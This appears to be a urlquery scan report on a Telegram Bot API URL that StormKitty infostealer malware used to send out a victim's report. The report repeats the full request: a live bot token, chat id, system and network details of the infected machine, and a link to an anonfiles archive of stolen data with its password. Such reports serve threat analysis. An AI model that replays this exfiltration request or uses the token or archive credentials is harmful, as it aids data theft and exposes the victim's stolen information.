Report Overview

  1. Submitted URL

    api.telegram.org/bot6092550229:AAHSp6BgXmOiqYmxwCuN4bdupzIm_A_w5Hg/sendMessage?chat_id=1331281401&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%201:40:14%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.51%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](anonfiles.com/XeP3c1Wfyb)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20"_6994378c15efc985a2bbdbf6782335c9"_&parse_mode=Markdown&disable_web_page_preview=True

  2. IP

    149.154.167.220

    ASN

    #62041 Telegram Messenger Inc

  3. Submitted

    2023-02-06 03:44:14

    Access

  4. Website Title

  5. Final URL

  6. Tags

  7. urlquery detections

    No alerts detected

Detections

  1. urlquery

    0

  2. Network Intrusion Detection

    3

  3. Threat Detection Systems

    0

Domain Summary

Domain / FQDNRankRegisteredFirst SeenLast Seen
content-signature-2.cdn.mozilla.net11522020-11-03T13:26:46Z2023-03-13T05:09:35Z
contile.services.mozilla.com11142021-05-27T20:32:35Z2023-03-13T05:09:13Z
ocsp.godaddy.com6982012-05-20T21:28:57Z2023-03-13T05:12:19Z
push.services.mozilla.com21402014-10-24T10:27:06Z2023-03-13T05:09:14Z
img-getpocket.cdn.mozilla.net16312018-06-22T01:36:00Z2023-03-13T05:09:16Z
api.telegram.org385092015-06-25T12:09:00Z2023-03-13T07:56:00Z
r3.o.lencr.org3442020-12-02T09:52:13Z2023-03-13T05:09:07Z
firefox.settings.services.mozilla.com8672020-06-04T22:08:41Z2023-03-13T05:09:10Z

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

SeveritySource IPDestination IPAlert
lowClient IPInternal IP
lowClient IPInternal IP
lowClient IP 149.154.167.220

Threat Detection Systems

OpenPhish

No alerts detected


PhishTank

No alerts detected


Fortinet's Web Filter

No alerts detected


mnemonic secure dns

No alerts detected


Quad9 DNS

No alerts detected


ThreatFox

No alerts detected


JavaScript (66)

HTTP Transactions (23)

URLIPResponseSize
api.telegram.org/bot6092550229:AAHSp6BgXmOiqYmxwCuN4bdupzIm_A_w5Hg/sendMessage?chat_id=1331281401&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%201:40:14%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.51%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](https://anonfiles.com/XeP3c1Wfyb)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20%22_6994378c15efc985a2bbdbf6782335c9%22_&parse_mode=Markdown&disable_web_page_preview=True
149.154.167.220301 Moved Permanently169 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
firefox.settings.services.mozilla.com/v1/
35.241.9.150200 OK939 B
content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-2023-02-28-18-04-20.chain
34.160.144.191200 OK5.3 kB
contile.services.mozilla.com/v1/tiles
34.117.237.239200 OK12 B
ocsp.godaddy.com/
192.124.249.23200 OK1.8 kB
api.telegram.org/bot6092550229:AAHSp6BgXmOiqYmxwCuN4bdupzIm_A_w5Hg/sendMessage?chat_id=1331281401&text=%0A%20%20%F0%9F%98%B9%20*StormKitty%20-%20Report:*%0ADate:%202021-10-20%201:40:14%20PM%0ASystem:%20Windows%207%20Enterprise%20(64%20Bit)%0AUsername:%20WALKER%0ACompName:%20WALKER-PC%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i7-8565U%20CPU%20@%201.80GHz%0AGPU:%20Standard%20VGA%20Graphics%20Adapter%0ARAM:%201535MB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0AWebcams%20count:%200%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.125.1%0AInternal%20IP:%20192.168.125.51%0AExternal%20IP:%201.254.1.255%0ABSSID:%2000:22:44:66:88:fe%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20-%20%F0%9F%8F%A6%20*Banking%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%92%B0%20*Cryptocurrency%20services*%20(No%20data)%0A%20%20%20-%20%F0%9F%8E%A8%20*Social%20networks*%20(No%20data)%0A%20%20%20-%20%F0%9F%8D%93%20*Porn%20websites*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Browsers:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2037%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%206%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%AB%20Outlook%20accounts%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%F0%9F%A6%A0%20*Installation:*%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%0A%F0%9F%94%97%20[Archive%20download%20link](https://anonfiles.com/XeP3c1Wfyb)%0A%F0%9F%94%90%20*Archive%20password%20is*:%20%22_6994378c15efc985a2bbdbf6782335c9%22_&parse_mode=Markdown&disable_web_page_preview=True
149.154.167.220200 OK2.4 kB
firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US
35.241.9.150200 OK329 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
push.services.mozilla.com/
35.167.56.184101 Switching Protocols0 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
r3.o.lencr.org/
95.101.11.115200 OK503 B
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F5ba57757-8c86-4311-801e-5e416095984a.jpeg
34.120.237.76200 OK4.4 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F3288563a-8f6e-4597-833f-b5512e91e772.png
34.120.237.76200 OK13 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F8f78f981-25b3-46b1-a96b-baa8e001cc8e.jpeg
34.120.237.76200 OK8.6 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F3d63833d-c4af-4746-a163-2d9da6b2bf67.jpeg
34.120.237.76200 OK8.8 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fc7158f70-9e7b-4725-8249-e7061700f1ee.webp
34.120.237.76200 OK8.5 kB
img-getpocket.cdn.mozilla.net/296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F3e717762-1012-4c44-9171-7c40ae8127ca.jpeg
34.120.237.76200 OK6.1 kB